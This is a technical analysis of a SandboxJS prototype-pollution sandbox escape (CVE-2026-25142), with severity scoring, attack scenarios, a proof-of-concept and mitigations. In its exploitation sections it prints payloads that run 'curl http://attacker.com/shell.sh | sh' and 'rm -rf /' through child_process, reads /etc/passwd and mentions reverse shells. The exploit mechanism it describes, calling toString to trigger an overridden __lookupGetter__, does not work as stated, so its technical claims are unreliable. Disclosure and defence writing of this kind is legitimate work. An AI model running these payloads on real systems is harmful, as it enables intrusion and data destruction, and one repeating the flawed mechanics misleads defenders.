Comprehensive Technical Analysis of CVE-2026-25142 (SandboxJS Prototype Pollution & Sandbox Escape Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2026-25142 CVSS Score: 10.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Vulnerability Type: Prototype Pollution → Sandbox Escape → Remote Code Execution (RCE) Affected Component: SandboxJS (JavaScript sandboxing library)

Severity Justification

• Attack Vector (AV:N): Exploitable remotely over a network without authentication.
• Attack Complexity (AC:L): Low complexity; exploitation requires minimal preconditions.
• Privileges Required (PR:N): No privileges required; unauthenticated attackers can exploit.
• User Interaction (UI:N): No user interaction needed.
• Scope (S:C): Changes in scope (impacts beyond the sandboxed environment).
• Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of affected systems.

This vulnerability allows attackers to escape the JavaScript sandbox and execute arbitrary code in the host environment, making it one of the most severe JavaScript sandbox escape vulnerabilities due to its low barrier to exploitation and high impact.

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2. Potential Attack Vectors and Exploitation Methods

Root Cause: Improper Restriction of __lookupGetter__

SandboxJS fails to properly sanitize or restrict access to __lookupGetter__, a deprecated but still functional JavaScript method that allows prototype chain manipulation. Attackers can leverage this to:

1. Pollute Object Prototypes – Modify built-in JavaScript object prototypes (e.g., Object.prototype, Array.prototype).
2. Bypass Sandbox Restrictions – Inject malicious properties or methods into the prototype chain, enabling sandbox escape.
3. Achieve Remote Code Execution (RCE) – If the sandboxed environment has access to sensitive APIs (e.g., child_process, fs, eval), the attacker can execute arbitrary system commands.

Exploitation Steps

1. Trigger Prototype Pollution

   • The attacker crafts a malicious payload that abuses __lookupGetter__ to modify Object.prototype.
   • Example:

     const maliciousPayload = {
       __proto__: {
         __lookupGetter__: function() {
           return function() { return global.process.mainModule.require('child_process').execSync('id'); };
         }
       }
     };
     

   • When processed by SandboxJS, this pollutes the prototype chain.

2. Sandbox Escape via Prototype Manipulation

   • The sandboxed code may inadvertently access polluted properties, leading to unintended method execution.
   • Example:

     // If the sandbox checks for 'toString' but not '__lookupGetter__'
     const obj = {};
     obj.toString(); // Triggers the malicious getter, executing arbitrary code
     

3. Remote Code Execution (RCE)

   • If the host environment exposes Node.js APIs (e.g., require, eval, child_process), the attacker can:
     • Execute system commands (child_process.execSync('rm -rf /')).
     • Read/write files (fs.readFileSync('/etc/passwd')).
     • Establish reverse shells (netcat, PowerShell).

Exploitation Scenarios

Scenario	Description	Impact
Web Application Sandboxing	If SandboxJS is used to isolate user-supplied JavaScript (e.g., in a SaaS platform), an attacker can escape the sandbox and compromise the server.	Full server takeover, data exfiltration, lateral movement.
Browser-Based Sandboxing	If SandboxJS is used in a browser extension or web app to run untrusted scripts, an attacker can escape and execute malicious JavaScript in the main page context.	XSS, session hijacking, keylogging.
Serverless Functions	If SandboxJS is used in a serverless environment (e.g., AWS Lambda, Cloud Functions), an attacker can break out of the function’s isolation and access cloud metadata or other functions.	Cloud resource compromise, data breaches.

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3. Affected Systems and Software Versions

Component	Affected Versions	Fixed Version
SandboxJS	All versions prior to 0.8.27	0.8.27 (released Feb 2, 2026)
Dependencies	Any application using SandboxJS for JavaScript sandboxing (e.g., web apps, serverless functions, browser extensions).

Detection Methods

• Static Analysis:
  • Check for SandboxJS in package.json or dependency manifests.
  • Search for require('sandboxjs') or import SandboxJS in source code.
• Dynamic Analysis:
  • Use Burp Suite or OWASP ZAP to test for prototype pollution in sandboxed environments.
  • Fuzz sandboxed inputs with __proto__, __lookupGetter__, and other dangerous properties.

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4. Recommended Mitigation Strategies

Immediate Actions

✅ Upgrade SandboxJS to v0.8.27 or later (patch available). ✅ Isolate Sandboxed Environments – Run untrusted code in separate processes (e.g., using worker_threads in Node.js) or containers (Docker, gVisor). ✅ Disable Dangerous JavaScript Features – Use strict CSP (Content Security Policy) and disable eval, Function, and new Function(). ✅ Implement Input Validation – Sanitize all inputs to prevent prototype pollution (e.g., using Object.freeze(Object.prototype)).

Long-Term Defenses

🔹 Use Alternative Sandboxing Solutions – Consider:

• VM2 (with proper hardening)
• Google’s Caja (for browser-based sandboxing)
• WebAssembly (WASM) for safer execution 🔹 Apply Least Privilege Principle – Restrict sandboxed code’s access to only necessary APIs. 🔹 Monitor for Exploitation Attempts – Deploy runtime application self-protection (RASP) to detect prototype pollution attacks. 🔹 Conduct Regular Security Audits – Use static analysis tools (Semgrep, SonarQube) and dynamic testing (Burp Suite, OWASP ZAP).

Workaround (If Upgrade Not Possible)

• Freeze Object Prototypes (temporary mitigation):

  Object.freeze(Object.prototype);
  Object.freeze(Array.prototype);
  Object.freeze(Function.prototype);
  

• Override __lookupGetter__ to prevent abuse:

  delete Object.prototype.__lookupGetter__;
  delete Object.prototype.__defineGetter__;
  

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5. Impact on the Cybersecurity Landscape

Broader Implications

• Increased Risk of Supply Chain Attacks – Many applications rely on JavaScript sandboxing for security; this vulnerability could be weaponized in supply chain attacks (e.g., compromised npm packages).
• Exploitation in Serverless Architectures – Serverless functions (AWS Lambda, Google Cloud Functions) often use sandboxing; a successful exploit could lead to cloud environment compromise.
• Browser-Based Exploits – If SandboxJS is used in browser extensions or web apps, attackers could bypass CSP and execute malicious scripts in the main page context.
• Evasion of Security Controls – Many WAFs (Web Application Firewalls) and RASP solutions do not detect prototype pollution by default, making this a stealthy attack vector.

Real-World Attack Scenarios

Industry	Potential Attack	Impact
FinTech	Escape sandbox in a banking app’s script execution engine → steal customer data.	Financial fraud, regulatory fines.
Healthcare	Compromise a sandboxed EHR (Electronic Health Record) system → exfiltrate PHI.	HIPAA violations, patient data breaches.
Cloud Providers	Break out of a serverless function → access cloud metadata, escalate privileges.	Cloud account takeover, data destruction.
Gaming	Escape a game’s modding sandbox → execute arbitrary code on players’ machines.	Malware distribution, account hijacking.

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6. Technical Details for Security Professionals

Vulnerability Deep Dive

1. Prototype Pollution via __lookupGetter__

• JavaScript Prototype Chain:
  • All objects inherit properties from Object.prototype.
  • __lookupGetter__ is a deprecated method that allows accessing property getters via the prototype chain.
• Exploitation Flow:
  1. Attacker submits a payload that pollutes Object.prototype using __lookupGetter__.
  2. SandboxJS processes the payload but fails to restrict prototype access.
  3. The polluted prototype triggers malicious code when accessed by the sandboxed environment.

2. Sandbox Escape Mechanism

• Example Exploit Code:

  // Malicious payload to pollute Object.prototype
  const payload = {
    __proto__: {
      __lookupGetter__: function() {
        return function() {
          // Escape sandbox and execute arbitrary code
          return global.process.mainModule.require('child_process').execSync('curl http://attacker.com/shell.sh | sh');
        };
      }
    }
  };
  
  // When the sandbox processes this, it may trigger the getter
  const obj = {};
  obj.toString(); // Executes the malicious code
  

3. Remote Code Execution (RCE) Conditions

• The sandboxed environment must have access to Node.js APIs (e.g., require, child_process, fs).
• If the sandbox is browser-based, RCE may not be possible, but DOM-based attacks (XSS, CSRF) are still feasible.

Proof-of-Concept (PoC) Exploitation

1. Set Up a Vulnerable SandboxJS Environment:

   npm install sandboxjs@0.8.26  # Vulnerable version
   

2. Exploit Script:

   const Sandbox = require('sandboxjs');
   const sandbox = new Sandbox();
   
   const maliciousCode = `
     const obj = {};
     obj.__proto__.__lookupGetter__ = function() {
       return function() {
         return global.process.mainModule.require('child_process').execSync('id');
       };
     };
     obj.toString(); // Triggers the exploit
   `;
   
   sandbox.run(maliciousCode, (err, result) => {
     console.log(result); // Outputs system command result (e.g., "uid=1000(user) gid=1000(user)")
   });
   

3. Expected Outcome:
   • The sandbox fails to restrict __lookupGetter__, allowing arbitrary code execution on the host system.

Detection & Forensics

• Log Analysis:
  • Look for unexpected child_process or fs calls in application logs.
  • Monitor for prototype pollution attempts (e.g., __proto__, __lookupGetter__ in input).
• Memory Forensics:
  • Use Volatility or Rekall to detect unexpected process spawning from Node.js.
• Network Forensics:
  • Check for unexpected outbound connections (e.g., reverse shells, data exfiltration).

Defensive Coding Best Practices

• Avoid Deprecated Methods:
  • Explicitly block __lookupGetter__, __defineGetter__, __proto__ in sandboxed code.
• Use Strict Mode:

  'use strict'; // Prevents accidental global variable leaks
  

• Implement Deep Object Freezing:

  function deepFreeze(obj) {
    Object.freeze(obj);
    Object.getOwnPropertyNames(obj).forEach(prop => {
      if (obj.hasOwnProperty(prop) && obj[prop] !== null && typeof obj[prop] === 'object') {
        deepFreeze(obj[prop]);
      }
    });
    return obj;
  }
  deepFreeze(Object.prototype);
  

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Conclusion

CVE-2026-25142 represents a critical JavaScript sandbox escape vulnerability with remote code execution potential. Due to its low exploitation complexity and high impact, organizations using SandboxJS must immediately upgrade to v0.8.27 and implement defensive sandboxing strategies.

Security teams should: ✔ Patch affected systems without delay. ✔ Audit sandboxed environments for prototype pollution risks. ✔ Monitor for exploitation attempts in logs and runtime behavior. ✔ Consider alternative sandboxing solutions if SandboxJS cannot be secured.

Failure to mitigate this vulnerability could lead to full system compromise, data breaches, and supply chain attacks, making it a top priority for remediation.